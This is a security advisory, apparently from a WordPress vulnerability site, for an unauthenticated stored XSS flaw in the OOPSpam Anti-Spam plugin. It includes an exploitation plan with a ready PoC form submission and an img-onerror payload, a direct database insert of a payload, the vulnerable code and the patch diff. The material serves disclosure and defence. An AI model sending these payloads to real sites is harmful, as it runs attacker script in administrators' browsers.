CVE-2026-32544

OOPSpam Anti-Spam: Spam Protection for WordPress Forms & Comments (No CAPTCHA) <= 1.2.62 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.2.63
Patched in
4d
Time to patch

Description

The OOPSpam Anti-Spam: Spam Protection for WordPress Forms & Comments (No CAPTCHA) plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.2.62 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.62
PublishedMarch 23, 2026
Last updatedMarch 26, 2026
Affected pluginoopspam-anti-spam

What Changed in the Fix

Changes introduced in v1.2.63

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-32544 (OOPSpam Anti-Spam Stored XSS) ## 1. Vulnerability Summary The **OOPSpam Anti-Spam** plugin (versions <= 1.2.62) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin logs form submissions (in…

Show full research plan

Exploitation Research Plan: CVE-2026-32544 (OOPSpam Anti-Spam Stored XSS)

1. Vulnerability Summary

The OOPSpam Anti-Spam plugin (versions <= 1.2.62) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin logs form submissions (including spam and ham entries) into the database without sufficient sanitization of all logged fields, and subsequently displays these logs in the WordPress admin dashboard without proper output escaping.

An unauthenticated attacker can submit a malicious payload via a protected form (e.g., Contact Form 7, WooCommerce). The plugin captures the entire $_POST array, JSON-encodes it, and stores it in the raw_entry column of the {prefix}oopspam_frm_spam_entries or {prefix}oopspam_frm_ham_entries tables. When an administrator views the "Spam Entries" or "Ham Entries" pages, the unsanitized payload executes in their browser context.

2. Attack Vector Analysis

  • Endpoint: Any frontend form integrated with OOPSpam (e.g., Contact Form 7 submission endpoint).
  • Vulnerable Parameter: Any field within the $_POST body that is captured in the raw_entry log.
  • Authentication: None (Unauthenticated).
  • Preconditions:
    1. The plugin must be active.
    2. An integration (like Contact Form 7) must be enabled in the OOPSpam settings.
    3. A valid-formatted API key must be present (the plugin performs an API check before logging).

3. Code Flow

  1. Submission: An unauthenticated user submits a Contact Form 7 form.
  2. Capture: The OOPSPAM\Integrations\oopspamantispam_cf7_pre_submission filter (in integration/ContactForm7.php) is triggered.
  3. Logging:
    • The code captures the raw submission: $raw_entry = json_encode($_POST); (line 62).
    • The plugin calls the OOPSpam API via oopspamantispam_call_OOPSpam.
    • Based on the result, it calls oopspam_store_spam_submission or oopspam_store_ham_submission (lines 90 or 108).
  4. Storage: The database functions (e.g., oopspam_store_spam_submission in db/oopspam-spamentries.php) insert the $frmEntry containing the malicious RawEntry into the database.
  5. Rendering:
    • An admin navigates to the "Spam Entries" menu (wp-admin/admin.php?page=wp_oopspam_spam_entries).
    • The OOPSPAM\UI\Spam_Entries class (in include/UI/display-spam-entries.php) fetches the entries.
    • The table renders the entries. If the Raw Entry column or a "View Details" modal prints the JSON data using echo without esc_html(), the XSS payload triggers.

4. Nonce Acquisition Strategy

No nonce is required for the injection phase because form submissions (like Contact Form 7) do not require an OOPSpam-specific nonce.

To view the results or verify the logs via the UI, an admin session is required. If the PoC needs to interact with the admin AJAX actions (like empty_spam_entries), the nonces are:

  • empty_spam_entries_nonce for the wp_ajax_empty_spam_entries action.
  • export_spam_entries_nonce for the wp_ajax_export_spam_entries action.

These can be found in the localized JS data on the OOPSpam settings/entries pages.

5. Exploitation Strategy

  1. Preparation:
    • Ensure Contact Form 7 is installed and a form is created.
    • Set an OOPSpam API key (even a dummy one may work if the API response is handled gracefully, but a valid key is preferred for a reliable PoC).
    • Enable "Contact Form 7" protection in OOPSpam settings.
  2. Injection:
    • Perform an unauthenticated HTTP POST request to the Contact Form 7 submission handler.
    • Include a payload in a field that is not the primary message field (to bypass sanitize_textarea_field applied to escapedMsg).
  3. Trigger:
    • Log in as an administrator.
    • Navigate to wp-admin/admin.php?page=wp_oopspam_spam_entries.
    • Observe the execution of the JavaScript payload.

Payload

<img src=x onerror=alert(document.domain)>

HTTP Request (PoC)

POST /index.php?rest_route=/contact-form-7/v1/contact-forms/{FORM_ID}/feedback HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="your-name"

"><img src=x onerror=alert(document.domain)>
------WebKitFormBoundary
Content-Disposition: form-data; name="your-email"

test@example.com
------WebKitFormBoundary
Content-Disposition: form-data; name="your-message"

This is a spam message to ensure logging.
------WebKitFormBoundary
Content-Disposition: form-data; name="_wpcf7"

{FORM_ID}
------WebKitFormBoundary--

6. Test Data Setup

  1. Plugin Setup:
    wp plugin install contact-form-7 --activate
    wp plugin activate oopspam-anti-spam
    
  2. Configuration:
    # Set a dummy API key (format: 40 characters hex)
    wp option update oopspamantispam_settings '{"oopspam_api_key":"1234567890abcdef1234567890abcdef12345678","oopspam_is_cf7_activated":"1"}' --format=json
    
  3. Form Creation:
    • Identify the default Contact Form 7 ID (usually enqueued on a "Contact" page).

7. Expected Results

  • The form submission will be captured by OOPSpam.
  • The wp_oopspam_frm_spam_entries table will contain a new row where the raw_entry column contains the string: ... "your-name":"\"><img src=x onerror=alert(document.domain)>" ....
  • Upon loading the "Spam Entries" admin page, the browser will execute the alert() call.

8. Verification Steps

  1. Database Check:
    wp db query "SELECT raw_entry FROM wp_oopspam_frm_spam_entries ORDER BY id DESC LIMIT 1;"
    
    Confirm the payload is stored verbatim in the JSON.
  2. Admin UI Check:
    • Navigate to the Spam Entries page.
    • Check if the payload is rendered in the table or the details view without being HTML-encoded.

9. Alternative Approaches

If Contact Form 7 sanitizes the $_POST array before the filter runs:

  • WooCommerce Vector: Use the WooCommerce registration or checkout flow. In WooCommerce.php, the checkBlockedOrderTotal method also calls oopspam_store_spam_submission with a RawEntry containing the email field. If the email is not strictly validated before logging, it can serve as a vector.
  • Direct DB Injection (Log Verification): To verify the sink (the admin UI) independently of the API key requirement, use WP-CLI to insert a payload directly into the oopspam_frm_spam_entries table, then view the admin page. This confirms the "Stored XSS" output vulnerability.
wp db query "INSERT INTO wp_oopspam_frm_spam_entries (message, raw_entry, date) VALUES ('XSS Test', '<img src=x onerror=alert(1)>', NOW());"
Research Findings
Static analysis — not yet PoC-verified

Summary

The OOPSpam Anti-Spam plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) due to the plugin capturing raw form submission data and storing it without sanitization. Malicious payloads submitted through protected forms are later executed in the context of an administrator's browser when they view the 'Spam Entries' or 'Ham Entries' logs in the dashboard.

Vulnerable Code

// integration/ContactForm7.php (line 62-73)
        $raw_entry = json_encode($_POST);

        if (!isset($detectionResult["isItHam"])) {
            return $spam;
        }

        $frmEntry = [
            "Score" => $detectionResult["Score"],
            "Message" => $escapedMsg,
            "IP" => $userIP,
            "Email" => $email,
            "RawEntry" => $raw_entry,
            "FormId" => $_POST['_wpcf7'],
        ];

---

// include/helpers.php (line 388-393)
    $data = array(
        'message' => $frmEntry["Message"],
        'ip' => $frmEntry["IP"],
        'email' => $frmEntry["Email"],
        'score' => $frmEntry["Score"],
        'raw_entry' => $enriched_raw_entry,
        'form_id' => $frmEntry["FormId"],
        'reason' => $reason
    );

---

// include/UI/display-spam-entries.php (line 997-1002)
			case 'email':
            case 'score':
            case 'raw_entry':
            case 'form_id':
			case 'reason':
            case 'date':
				return $item[ $column_name ];

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/oopspam-anti-spam/1.2.62/include/helpers.php /home/deploy/wp-safety.org/data/plugin-versions/oopspam-anti-spam/1.2.63/include/helpers.php
--- /home/deploy/wp-safety.org/data/plugin-versions/oopspam-anti-spam/1.2.62/include/helpers.php	2026-01-13 22:45:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/oopspam-anti-spam/1.2.63/include/helpers.php	2026-03-02 23:01:04.000000000 +0000
@@ -381,6 +381,7 @@
     
     // Enrich raw entry with HTTP headers and request metadata
     $enriched_raw_entry = oopspam_enrich_raw_entry($frmEntry["RawEntry"]);
+    $sanitized_form_id = isset($frmEntry["FormId"]) ? sanitize_text_field(wp_unslash((string) $frmEntry["FormId"])) : '';
     
     $data = array(
         'message' => $frmEntry["Message"],
@@ -388,7 +389,7 @@
         'email' => $frmEntry["Email"],
         'score' => $frmEntry["Score"],
         'raw_entry' => $enriched_raw_entry,
-        'form_id' => $frmEntry["FormId"],
+        'form_id' => $sanitized_form_id,
         'reason' => $reason
     );
     $format = array('%s', '%s', '%s', '%d', '%s', '%s', '%s');
@@ -417,6 +418,7 @@
     
     // Enrich raw entry with HTTP headers and request metadata
     $enriched_raw_entry = oopspam_enrich_raw_entry($frmEntry["RawEntry"]);
+    $sanitized_form_id = isset($frmEntry["FormId"]) ? sanitize_text_field(wp_unslash((string) $frmEntry["FormId"])) : '';
 
     $table_name = $wpdb->prefix . 'oopspam_frm_ham_entries';
     $data = array(
@@ -425,7 +427,7 @@
         'email' => $frmEntry["Email"],
         'score' => $frmEntry["Score"],
         'raw_entry' => $enriched_raw_entry,
-        'form_id' => $frmEntry["FormId"],
+        'form_id' => $sanitized_form_id,
         'gclid' => $gclid
     );
     $format = array('%s', '%s', '%s', '%d', '%s', '%s', '%s');
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/oopspam-anti-spam/1.2.62/include/UI/display-ham-entries.php /home/deploy/wp-safety.org/data/plugin-versions/oopspam-anti-spam/1.2.63/include/UI/display-ham-entries.php
--- /home/deploy/wp-safety.org/data/plugin-versions/oopspam-anti-spam/1.2.62/include/UI/display-ham-entries.php	2026-02-05 21:52:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/oopspam-anti-spam/1.2.63/include/UI/display-ham-entries.php	2026-03-02 23:01:04.000000000 +0000
@@ -336,9 +336,10 @@
 			case 'ip':
 			case 'email':
             case 'raw_entry':
-            case 'form_id':
             case 'date':
 				return $item[ $column_name ];
+			case 'form_id':
+				return esc_html( $item[ $column_name ] );
 			case 'score':
 				return $this->column_score($item);
 			default:
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/oopspam-anti-spam/1.2.62/include/UI/display-spam-entries.php /home/deploy/wp-safety.org/data/plugin-versions/oopspam-anti-spam/1.2.63/include/UI/display-spam-entries.php
--- /home/deploy/wp-safety.org/data/plugin-versions/oopspam-anti-spam/1.2.62/include/UI/display-spam-entries.php	2026-02-05 21:52:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/oopspam-anti-spam/1.2.63/include/UI/display-spam-entries.php	2026-03-02 23:01:04.000000000 +0000
@@ -997,10 +997,11 @@
 			case 'email':
             case 'score':
             case 'raw_entry':
-            case 'form_id':
 			case 'reason':
             case 'date':
 				return $item[ $column_name ];
+			case 'form_id':
+				return esc_html( $item[ $column_name ] );
 			default:
 				return print_r( $item, true ); //Show the whole array for troubleshooting purposes
 		}

Exploit Outline

The exploit is conducted through the following methodology: 1. **Target Identification**: Find a WordPress site running OOPSpam Anti-Spam (<= 1.2.62) with an active form integration like Contact Form 7 or WooCommerce. 2. **Payload Delivery**: As an unauthenticated user, submit a request to the vulnerable form endpoint. The payload can be placed in any POST parameter (which is logged in `raw_entry`) or specifically in the `_wpcf7` parameter (which is logged in `form_id`). Example payload: `<img src=x onerror=alert(document.domain)>`. 3. **Bypass/Trigger**: The submission must be logged by the plugin as either 'Spam' or 'Ham'. This usually requires a valid-formatted API key to be set in the plugin settings and the submission content to trigger the log logic. 4. **Execution**: An administrator logs into the WordPress dashboard and navigates to the 'Spam Entries' or 'Ham Entries' pages (under the OOPSpam menu). The unsanitized payload is fetched from the database and echoed directly into the admin list table, executing the attacker's script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.